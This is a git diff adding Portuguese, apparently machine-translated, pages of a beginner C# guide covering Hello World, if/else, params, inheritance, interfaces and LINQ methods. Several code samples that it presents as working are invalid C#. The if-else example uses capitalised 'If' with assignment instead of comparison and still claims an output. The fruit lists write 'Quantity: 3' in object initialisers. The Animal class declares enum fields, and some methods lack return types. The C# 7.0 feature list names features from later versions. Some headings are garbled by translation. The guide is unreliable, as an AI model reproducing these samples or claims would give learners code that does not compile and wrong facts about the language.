+A coleta de lixo é o processo no qual os programas tentam liberar espaço de memória que não é mais usado por variáveis, objetos e outros. A coleta de lixo é implementada de maneira diferente para todos os idiomas. A maioria das linguagens de programação de alto nível possui algum tipo de coleta de lixo embutido. Linguagens de programação de baixo nível podem adicionar coleta de lixo através de bibliotecas.
+
+A coleta de lixo é uma ferramenta que economiza tempo para o programador, por exemplo, substitui a necessidade de funções como malloc () e free () que são encontradas em C. Também pode ajudar na prevenção de vazamentos de memória.
+
+A desvantagem da coleta de lixo é que ela tem um impacto negativo no desempenho. O programa deve executar regularmente o programa, verificando as referências de objetos e limpando a memória - isso demanda recursos e geralmente requer que o programa faça uma pausa.
+
+Se um objeto não tiver referências (não estiver mais acessível), ele será elegível para coleta de lixo. Por exemplo, no código Java abaixo, o objeto Thing originalmente referenciado por 'thing1' tem sua única referência redirecionada para outro objeto no heap - ele é, então, inacessível e terá sua memória não alocada pelo coletor de lixo.
+
+#### Mais Informações:
+
+\- \+ - https://docs.microsoft.com/en-us/dotnet/standard/garbage-collection/fundamentals - Para saber mais sobre a coleta de lixo
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/hello-world/index.md b/client/src/guide/portuguese/csharp/hello-world/index.md
new file mode 100644
index 0000000000..5e499baa6e
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/hello-world/index.md
@@ -0,0 +1,36 @@
+---
+title: Hello World
+localeTitle: Olá Mundo
+---
# Olá Mundo
+
+Para escrever algum texto no console, usamos o `Console.WriteLine()` . Este método usa uma string como entrada.
+
+## Exemplo
+
+```csharp
+using System; 
+ 
+ namespace HelloWorld 
+ { 
+    class Hello 
+    { 
+        static void Main() 
+        { 
+            // Write "Hello World!" on console 
+            Console.WriteLine("Hello World!"); 
+ 
+            // Keep the console window open in debug mode. 
+            Console.WriteLine("Press any key to exit."); 
+            Console.ReadKey(); 
+        } 
+    } 
+ } 
+```
+
+## Saída:
+
+```sh
+> Hello World! 
+ > Press any key to exit. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/if-else-statement/index.md b/client/src/guide/portuguese/csharp/if-else-statement/index.md
new file mode 100644
index 0000000000..8f88e3b1b8
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/if-else-statement/index.md
@@ -0,0 +1,40 @@
+---
+title: If Else Statement
+localeTitle: Se mais declaração
+---
+# Se mais declaração
+
+A instrução If-Else executa um bloco de código, dependendo se sua pré-condição está preenchida ou não.
+
+## Exemplo
+```
+if(boolean expression) 
+ { 
+ // execute this code block if expression evalutes to true 
+ } 
+ else 
+ { 
+ // always execute this code block when above if expression is false 
+ } 
+ 
+ 
+ int Price = 30; 
+ 
+ If (Price = 30) 
+ { 
+  Console.WriteLine("Price is equal to 30."); 
+ } 
+ 
+ Else 
+ { 
+  Console.WriteLine("Price is not equal to 30."); 
+ } 
+```
+
+Como já declaramos nosso preço int como 30, essa será a saída esperada.
+
+## Saída
+```
+Price is equal to 30. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/if/index.md b/client/src/guide/portuguese/csharp/if/index.md
new file mode 100644
index 0000000000..820081f7f4
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/if/index.md
@@ -0,0 +1,98 @@
+---
+title: If
+localeTitle: E se
+---
+# E se
+
+A instrução if executa diferentes blocos de código com base nas condições.
+```
+if (condition) 
+ { 
+    // Do something when `condition` is true 
+ } 
+ else 
+ { 
+    // Do something when `condition` is false 
+ } 
+```
+
+Quando a `condition` é verdadeira, o código dentro da seção `if` executado, caso `else` executado. Às vezes você precisaria adicionar uma segunda condição. Para facilitar a leitura, você deve usar `else if` vez de aninhar `if` statements. em vez de escrever:
+```
+if (condition) 
+ { 
+    // Do something if `condition` is true 
+ } 
+ else 
+ { 
+    if (anotherCondition) 
+    { 
+        // Do something if `anotherCondition` is true 
+    } 
+    else 
+    { 
+        // Do something if `condition` AND `anotherCondition` is false 
+    } 
+ } 
+```
+
+Você poderia usar a escrita muito mais concisa:
+```
+if (condition) 
+ { 
+    // Do something if `condition` is true 
+ } 
+ else if (anotherCondition) 
+ { 
+    // Do something if `anotherCondition` is ture 
+ } 
+ else 
+ { 
+    // Do something if `condition` AND `anotherCondition` is false 
+ } 
+```
+
+Também é possível verificar se a condição é falsa e atuar nela sem que seja necessária uma instrução else.
+```
+if(!condition) 
+ { 
+ //do something if the condition is false 
+ } 
+```
+
+```
+int number = 3; 
+ //!= implies that you wish to check if the object's value is not equal to the value next to it 
+ if(number !=2) 
+ { 
+     Console.WriteLine("Number is not 2"); 
+ } 
+```
+
+Observe que o `else` e `else if` seções não forem necessárias, enquanto `if` for obrigatório.
+
+## Exemplo
+```
+    Console.WriteLine("Who are you? "); 
+    string name = Console.ReadLine(); 
+ 
+    if (name == "John") 
+    { 
+        Console.WriteLine("Hi John!"); 
+    } 
+    else if (name == "Fabio") 
+    { 
+        Console.WriteLine("Oh, it's you Fabio :)"); 
+    } 
+    else 
+    { 
+        Console.WriteLine("Oh! I thought you were John or Fabio. Anyway, nice to meet you {0}!", name); 
+    } 
+ 
+    /* Run and type some names: 
+        -> If name is "John", then output is "Hi John!" 
+        -> If name is "Fabio", then output is "Oh, it's you Fabio :)" 
+        -> If name is neither "John" nor "Fabio", output is "Oh! I thought you were John or Fabio. Anyway, nice to meet you {0}!" where {0} contains the name. 
+    */ 
+```
+
+A instrução if precisa de um resultado booleano, isto é, verdadeiro ou falso. Em algumas linguagens de programação, vários tipos de dados podem ser automaticamente convertidos em booleanos, mas em C #, é necessário tornar o resultado booleano especificamente. Por exemplo, você não pode usar se (número), mas você pode comparar o número para algo, para gerar um verdadeiro ou falso.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/indeterminate-parameters/index.md b/client/src/guide/portuguese/csharp/indeterminate-parameters/index.md
new file mode 100644
index 0000000000..4678070ca5
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/indeterminate-parameters/index.md
@@ -0,0 +1,36 @@
+---
+title: Indeterminate parameters
+localeTitle: Parâmetros indeterminados
+---
+# Parâmetros indeterminados
+
+Vamos imaginar que precisamos escrever um método em que o número de parâmetros seja variável. Como podemos fazer isso? Bem, C # (e outras linguagens) tem uma maneira fácil de fazer isso; Usando a palavra-chave `params` no `params` de um método, podemos chamar esse método com um número variável de parâmetros.
+
+## Exemplo
+```
+public static void Main (string[] args) { 
+    // Call PrintParams with 3 parameters 
+    PrintParams(1, 2, 3); 
+ 
+    // Call PrintParams with 1 parameter 
+    PrintParams(4); 
+ } 
+ 
+ public static void PrintParams(params int[] values) 
+ { 
+    // Iterate through parameters 
+    for (int i = 0; i < values.Length; i++) 
+    { 
+        Console.WriteLine("Parameter {0} is {1}", i, values[i]); 
+    } 
+ } 
+```
+
+## Saída:
+```
+> Parameter 0 is 1 
+ > Parameter 1 is 2 
+ > Parameter 2 is 3 
+ > Parameter 0 is 4 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/index.md b/client/src/guide/portuguese/csharp/index.md
new file mode 100644
index 0000000000..8398533dc7
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/index.md
@@ -0,0 +1,67 @@
+---
+title: C#
+localeTitle: C #
+---
+## C #
+
+C Sharp, mais comumente chamado de "C #", é uma linguagem de programação orientada a objetos e de uso geral. O C # foi desenvolvido por Anders Hejlsberg e sua equipe de desenvolvimento na Microsoft e atualmente está na versão 7.0.
+
+C # tem suas raízes na família de linguagens C. Ele herda a maioria de seus recursos de C, C ++ e Java. Por esse motivo, os programadores familiarizados com esses idiomas podem ser capazes de obter velocidade com o C # em um período de tempo menor.
+
+C # é uma linguagem orientada a objetos que fornece suporte para programação funcional e orientada a componentes.
+
+#### Classes e Objetos
+
+As aulas nos permitem modelar objetos do cotidiano no mundo que nos rodeia em software. Você pode criar classes personalizadas para representar praticamente qualquer coisa. Assim como um substantivo é uma pessoa, lugar ou coisa na linguagem, também uma classe representa objetos.
+
+Quando você escreve código C #, normalmente é porque você precisa de um programa que faz algo útil. No caso de uma necessidade comercial, você segue os requisitos que a empresa precisa. Digamos que seu negócio chega até você pede-lhe um banco de dados eletrônico de livros. Eles precisam armazenar títulos de livros, autores, estatísticas de computação, como o número de checkouts em um determinado mês ou uma média mensal. Os requisitos descrevem o programa que precisa ser desenvolvido. Como você escreve um programa para os requisitos dados? Geralmente, usamos classes para criar abstrações para os diferentes substantivos com os quais precisamos trabalhar. Um substantivo como um livro, autor ou título.
+
+Um conceito importante em C # é que a definição de classe é usada para criar instâncias de objetos. Você pode pensar nisso como um modelo para criar instâncias de objetos. A definição de classe permite a criação de objetos que armazenam uma referência a esse objeto. Por exemplo, digamos que queremos criar um novo objeto de livro. A linha de código é assim:
+
+`Book book = new Book();`
+
+Isso cria um novo objeto de livro que podemos usar para manipular dados e armazená-los em um banco de dados. A variável book é, na verdade, um tipo de referência do Book (com um B maiúsculo). Podemos usar métodos disponíveis na definição de classe com essa variável, livro, como AddTitle () ou AddAuthor () etc.
+
+#### Recursos do C # incluem:
+
+1.  Coleta de lixo automática
+2.  Manipulação de exceção
+3.  Segurança de tipo
+4.  Versão
+5.  Delegados
+6.  Propriedades
+7.  LINQ (consulta integrada de idioma) e expressões lambda
+8.  Genéricos
+9.  Indexadores
+10.  Multithreading
+
+#### Novos recursos adicionados no C # 7.0:
+
+1.  Desconstrutores
+2.  Nova sintaxe para trabalhar com tuplas
+3.  Correspondência de Padrões com Expressões É
+4.  Funções locais
+5.  Retornar por referência
+6.  Variáveis ​​de saída
+7.  Melhorias literais
+8.  Tipos de retorno assíncronos generalizados
+9.  Mais Membros com Expressão Corporal
+10.  Jogue Expressões
+11.  Tipo de registro
+12.  Minimizando OUT
+13.  Tipo de referência não 'NULL'
+
+Você pode usar o C # para criar aplicativos clientes do Windows, serviços da Web em XML, componentes distribuídos, aplicativos cliente-servidor, aplicativos de banco de dados e muito mais.
+
+#### Aplicativos ASP.NET e .NET
+
+A linguagem C # também é usada com a estrutura ASP.NET, desenvolvida pela Microsoft Corp., especificamente para criar aplicativos da Web independentes de máquina e navegador. A estrutura .NET mais ampla, também desenvolvida pela Microsoft, é usada para criar outros tipos de aplicativos, como aplicativos de desktop, móveis, servidor e de rede. A estrutura .NET inclui as bibliotecas .NET Base Class Libraries (BCL), ASP.NET, ADO.NET, Windows Forms, Windows Presentation Foundation (WPF) e eXtensible Markup Language (XML).
+
+Para obter mais informações sobre ASP.NET, consulte o tópico ASPNET no [guia freeCodeCamp](https://guide.freecodecamp.org/)
+
+#### Mais Informações:
+
+*   [Introdução ao C #](https://docs.microsoft.com/en-us/dotnet/csharp/getting-started/introduction-to-the-csharp-language-and-the-net-framework)
+*   [C # Tutoriais](https://www.microsoft.com/net/tutorials/csharp/getting-started)
+*   [Documentação Oficial do C #](https://docs.microsoft.com/en-us/dotnet/csharp/)
+*   [Novos recursos no c # 7.0](https://msdn.microsoft.com/en-us/magazine/mt790184.aspx)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/inheritance/index.md b/client/src/guide/portuguese/csharp/inheritance/index.md
new file mode 100644
index 0000000000..aa580d2b37
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/inheritance/index.md
@@ -0,0 +1,59 @@
+---
+title: Inheritance
+localeTitle: Herança
+---
+# Herança
+
+A herança permite criar uma classe que estenda ou modifique uma classe existente. Isso pode ser usado para criar classes que derivam de outras classes.
+
+# Classe base e classe derivada
+
+Estes são os termos usados ​​para as classes quando se referem à herança. A classe derivada herda a classe base, junto com quaisquer variáveis, funções ou processos que a classe base usa. A classe derivada pode então ter suas próprias variáveis ​​e funções juntamente com as que ela herda da classe base.
+
+Por exemplo, uma classe Base de 'Animal' pode ter uma classe derivada de 'Dog'. A classe Animal conterá características relacionadas aos animais em geral, enquanto a classe Dog contém características exclusivas dos cães. Quando a classe Dog herda a classe Animal, ela poderá se referir a ambos os recursos relacionados a animais e características exclusivas dos cães.
+
+# Regras de herança
+
+A herança é um caminho. A classe base não herda os recursos da classe derivada.
+
+A herança é transitiva. Uma classe base de 'Animal' pode ter uma classe derivada de 'Dog' e isso pode ter uma classe derivada de 'Terrier'. A classe Terrier herdará os recursos da classe Dog e da classe Animal.
+
+# O `:` símbolo
+
+Em C #, o símbolo `:` é usado para denotar herança. Isso é chamado ao criar a classe derivada.
+
+## Exemplo
+
+# Classe base
+```
+public class Animal 
+ { 
+    public int ID; 
+    public string title; 
+    public enum phylum; 
+    public enum dietType; 
+ 
+        public DefineAnimal(int id, string name, enum phy, enum diet) 
+    { 
+        this.ID = id; 
+        this.title = name; 
+        this.phylum = phy; 
+        this.dietType = diet; 
+    } 
+ } 
+```
+
+# Classe derivada
+```
+public class Dog : Animal 
+ { 
+    public enum breed; 
+    public int levelOfTraining; 
+ 
+    public void SayWoof() 
+    { 
+        Console.WriteLine("Woof"); 
+    } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/interface/index.md b/client/src/guide/portuguese/csharp/interface/index.md
new file mode 100644
index 0000000000..a3e3fb6dfe
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/interface/index.md
@@ -0,0 +1,59 @@
+---
+title : Interface 
+localeTitle: Interface
+---
+* * *
+
+Uma interface é semelhante a uma classe ou estrutura, mas sem implementação para seus membros. Uma interface declara um contrato ou um comportamento que as classes de implementação devem ter. Pode declarar apenas propriedades, métodos e eventos com modificadores de acesso NO.
+
+Todos os membros declarados devem ser implementados na classe inharit, caso contrário, haverá um erro de compilação. como uma convenção, marcaremos a interface com a letra I no início (IMyInterface || IUserOptions). Você define uma interface usando a palavra-chave da interface.
+
+Todos os membros de uma interface são: implicitamente abstrato, implicitamente público, não pode declarar um modificador de acesso como protected, internal private etc ...
+
+Uma interface pode:
+
+*   Herdar de outras interfaces.
+*   Herdar de várias interfaces ao mesmo tempo
+*   Contém apenas métodos, propriedades, eventos e indexadores.
+
+Uma interface não pode:
+
+*   Herdar de uma turma.
+*   Tem implementação.
+*   Tem modificadores de acesso que não sejam públicos.
+
+## \* Seja instanciado.
+
+O uso de interfaces nos permite alterar nossa implementação em nosso projeto sem quebrar outras partes, e só tem que mudar o único lugar onde o objeto é criado.
+
+Exemplo de interface:
+
+```csharp
+public Interface IUserFavoriteFood 
+ { 
+  void AddFood(); 
+  Task<User> EatFavoriteFood(int id); 
+ } 
+```
+
+* * *
+
+Herança e implementação de interfaces:
+
+```csharp
+public class UserHungry : IUserFavoriteFood 
+ { 
+  public AddFood() 
+  { 
+    // Implementation: 
+    // A method to add food. 
+  } 
+ 
+  public Task<User> EatFavoriteFood(int id) 
+  { 
+    // Implementation: 
+    // A method to Eat food by id. 
+  } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/is/index.md b/client/src/guide/portuguese/csharp/is/index.md
new file mode 100644
index 0000000000..6e0827b016
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/is/index.md
@@ -0,0 +1,11 @@
+---
+title: is
+localeTitle: é
+---
+## é
+
+A palavra `is` chave `is` verifica se um objeto é compatível com um determinado tipo ou (iniciando com C # 7) testa uma expressão em relação a um padrão.
+
+#### Mais Informações:
+
+*   [C # Referência: é](https://docs.microsoft.com/dotnet/csharp/language-reference/keywords/is)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/linq/all/index.md b/client/src/guide/portuguese/csharp/linq/all/index.md
new file mode 100644
index 0000000000..e65810a2fc
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/linq/all/index.md
@@ -0,0 +1,32 @@
+---
+title: All
+localeTitle: Todos
+---
+# Todos
+
+Retorna true se todos os elementos da coleção corresponderem ao predicado.
+
+### Assinatura
+
+```csharp
+public static bool All<TSource>(this IEnumerable<TSource> source, Func<TSource, bool> predicate); 
+```
+
+## Exemplo
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ // All Fruit have a quantity greater than 0. 
+ var allFruitsHaveAQuantity = fruits.All(f => f.Quantity > 0); // true 
+ // All Fruit have the Color Yellow 
+ var allYellow = fruits.All(f => f.Color == "Yellow"); // false 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/linq/any/index.md b/client/src/guide/portuguese/csharp/linq/any/index.md
new file mode 100644
index 0000000000..b4e4615a51
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/linq/any/index.md
@@ -0,0 +1,38 @@
+---
+title: Any
+localeTitle: Qualquer
+---
+# Qualquer
+
+Retorna true se houver pelo menos um elemento que corresponda ao predicado. Ao usar um predicado vazio (apenas .Any () sem nada entre os parantheses), ele retornará true se a coleção não estiver vazia.
+
+### Assinatura
+
+```csharp
+public static bool Any<TSource>(this IEnumerable<TSource> source); 
+ public static bool Any<TSource>(this IEnumerable<TSource> source, Func<TSource, bool> predicate); 
+```
+
+## Exemplo
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ // Check if any Fruits have a quantity greater than 20 
+ var anyFruitGreaterThanTwenty = fruits.Any(f => f.Quantity > 20); // true 
+ 
+ // Any Fruit with color Green 
+ var anyGreen = fruits.Any(f => f.Color == "Green"); // false 
+ 
+ var hasFruits = fruits.Any(); // true 
+ 
+ var hasYellowFruit = fruits.Any(f => f.Color == "Yellow"); // true 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/linq/count/index.md b/client/src/guide/portuguese/csharp/linq/count/index.md
new file mode 100644
index 0000000000..36deaaf1b4
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/linq/count/index.md
@@ -0,0 +1,27 @@
+---
+title: Count
+localeTitle: Contagem
+---
+\# Qualquer Retorna uma contagem de elementos na sequência que satisfazem uma condição. ### Signature
+
+```csharp
+Enumerable.Count<TSource> Method (IEnumerable<TSource>, Func<TSource, Boolean>) 
+```
+
+\## Exemplo
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ // Count of Fruit with Color Red. 
+ var yellowCount = fruits.Count(f => f.Color == "Red"); // 2 
+ // Count of Fruit with Quantity > 2 
+ var quantityOverTwo = fruits.Count(f => f.Quantity > 2); // 4 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/linq/first-or-default/index.md b/client/src/guide/portuguese/csharp/linq/first-or-default/index.md
new file mode 100644
index 0000000000..57a0497cd5
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/linq/first-or-default/index.md
@@ -0,0 +1,30 @@
+---
+title: First Or Default
+localeTitle: Primeiro ou padrão
+---
# FirstOrDefault
+
+Retorna o primeiro elemento que satisfaz uma condição dada opcional. Se nenhum elemento for encontrado, o `default()` do objeto será retornado
+
+### Assinatura
+
+```csharp
+Enumerable.FirstOrDefault<TSource>(IEnumerable<TSource>, Func<TSource, Boolean>) 
+```
+
+## Exemplo
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ var firstFruit = fruits.FirstOrDefault(); // Orange 
+ 
+ var firstYellowFruit = fruits.FirstOrDefault(f => f.Color == "Green"); // null 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/linq/first/index.md b/client/src/guide/portuguese/csharp/linq/first/index.md
new file mode 100644
index 0000000000..7807aab1a3
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/linq/first/index.md
@@ -0,0 +1,30 @@
+---
+title: First
+localeTitle: Primeiro
+---
# Primeiro
+
+Retorna o primeiro elemento que satisfaz uma condição dada opcional. Se nenhum elemento for encontrado, lança um `InvalidOperationException` ;
+
+### Assinatura
+
+```csharp
+Enumerable.First<TSource>(IEnumerable<TSource>, Func<TSource, Boolean>) 
+```
+
+## Exemplo
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ var firstFruit = fruits.First(); // Orange 
+ 
+ var firstYellowFruit = fruits.First(f => f.Color == "Yellow"); // Pineapple 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/linq/index.md b/client/src/guide/portuguese/csharp/linq/index.md
new file mode 100644
index 0000000000..a6bbf22100
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/linq/index.md
@@ -0,0 +1,61 @@
+---
+title: LINQ
+localeTitle: LINQ
+---
# LINQ (consulta integrada de idioma)
+
+O LINQ (Language Integrated Query) é um modelo e uma metodologia de programação da Microsoft que, essencialmente, adiciona recursos de consulta formal às linguagens de programação baseadas no Microsoft .NET. O LINQ oferece uma sintaxe compacta, expressiva e inteligível para manipular dados. O valor real do LINQ vem da sua capacidade de aplicar a mesma consulta a um banco de dados SQL, um DataSet, uma lista, um dicionário etc.
+
+## Exemplo
+
+O LINQ pode ser usado para filtrar, transformar, pesquisar dados e muito mais tarefas complexas. Vamos supor que temos a seguinte lista de objetos:
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ } 
+```
+
+Então podemos fazer coisas como:
+
+```csharp
+// Get the name of the first fruit 
+ var firstName = fruits.Select(f => f.Name).First(); // Orange 
+ 
+ // Count how many fruits are red 
+ var qntRed = fruits.Where(Color == "Red").Count(); // 2 
+ 
+ // Create a list of yellow fruits 
+ var yellowFruits = fruits.Where(f => f.Color == "Yellow").ToList(); // { Pineapple, Mango } 
+ 
+ // Orders list by quantity from most to less 
+ var orderedFruits = fruits.OrderByDescending(f => f.Quantity).ToList(); // {Grape, Strawberry, Orange, Apple, Mango, Pineapple} 
+ 
+ // Sum the quantity of fruits 
+ var quantity = fruits.Sum(f => f.Quantity); // 53 
+ 
+ // Check if there are any green fruits 
+ var hasGreen = fruits.Any(f => f.Color == "Green"); // false 
+ 
+ // Group fruits by color into a dictionary 
+ var fruitsByColor = fruits.GroupBy(g => g.Color).ToDictionary(k => k.Key, v => v.ToList()); // Dictionary of list of fruits by color 
+ 
+ // linq operations can be concatenated and are not performed as long as data is needed 
+ var logs = new List<Log>; 
+ 
+ if (filterBySeverity) 
+    logs = logs.Where(p => p.Severity == severity); 
+    //IQueryable 
+ 
+ if (filterByUser) 
+    logs = logs.Where(p => p.User == user); 
+    //IQueryable 
+ 
+    result = logs.ToList(); 
+    //List<log> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/linq/last-or-default/index.md b/client/src/guide/portuguese/csharp/linq/last-or-default/index.md
new file mode 100644
index 0000000000..9237f5bc1c
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/linq/last-or-default/index.md
@@ -0,0 +1,27 @@
+---
+title: LastOrDefault
+localeTitle: LastOrDefault
+---
+\# Qualquer Retorna o último elemento em uma sequência que satisfaz uma condição ou um valor padrão se nenhum elemento for encontrado ### Signature
+
+```csharp
+Enumerable.LastOrDefault<TSource> Method (IEnumerable<TSource>, Func<TSource, Boolean>) 
+```
+
+\## Exemplo
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ // Returns the last fruit where the Color is Yellow 
+ var lastYellow = fruits.LastOrDefault(f => f.Color == "Yellow"); // Mango 
+ // Returns the last fruit where the quantity is 20 
+ var lastQuantityOfTwenty = fruits.LastOrDefault(f => f.Quantity == 20); // null 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/linq/select/index.md b/client/src/guide/portuguese/csharp/linq/select/index.md
new file mode 100644
index 0000000000..e70c535a9c
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/linq/select/index.md
@@ -0,0 +1,30 @@
+---
+title: Select
+localeTitle: Selecione
+---
# Selecione
+
+Dados de projetos do conjunto de dados.
+
+### Assinatura
+
+```csharp
+Enumerable.Select<TSource, TResult> Method (IEnumerable<TSource>, Func<TSource, TResult>) 
+```
+
+## Exemplo
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity = 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity = 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity = 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity = 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity =  5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity = 2   } 
+ }; 
+ 
+ var mangoQnt = fruits.Where(f => f.Name == "Mango").Select(f => f.Quantity).FirstOrDefault(); // 2 
+ 
+ var grapeColor = fruits.Where(f => f.Name == "Grape").Select(f => f.Color).FirstOrDefault(); // Purple 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/linq/single-or-default/index.md b/client/src/guide/portuguese/csharp/linq/single-or-default/index.md
new file mode 100644
index 0000000000..d8c626af91
--- /dev/null
+++ b/client/src/guide/portuguese/csharp/linq/single-or-default/index.md
@@ -0,0 +1,31 @@
+---
+title: Single Or Default
+localeTitle: Único ou padrão
+---
+# SingleOrDefault
+
+Retorna o único elemento em uma sequência que satisfaz a condição especificada ou o valor padrão, se nenhum elemento for encontrado. O método lançará uma exceção se mais de um elemento for encontrado que satisfaça a condição especificada.
+
+### Assinatura
+
+```csharp
+Enumerable.SingleOrDefault<TSource>(IEnumerable<TSource>, Func<TSource, Boolean>) 
+```
+
+## Exemplo
+
+```csharp
+var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ var purpleFruit = fruits.SingleOrDefault(f => f.Color == "Purple"); // Grape 
+ 
+ var greenFruit = fruits.SingleOrDefault(f => f.Color == "Green"); // null 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/csharp/linq/to-dictionary/index.md b/client/src/guide/portuguese/csharp/linq/to-dictionary/index.md
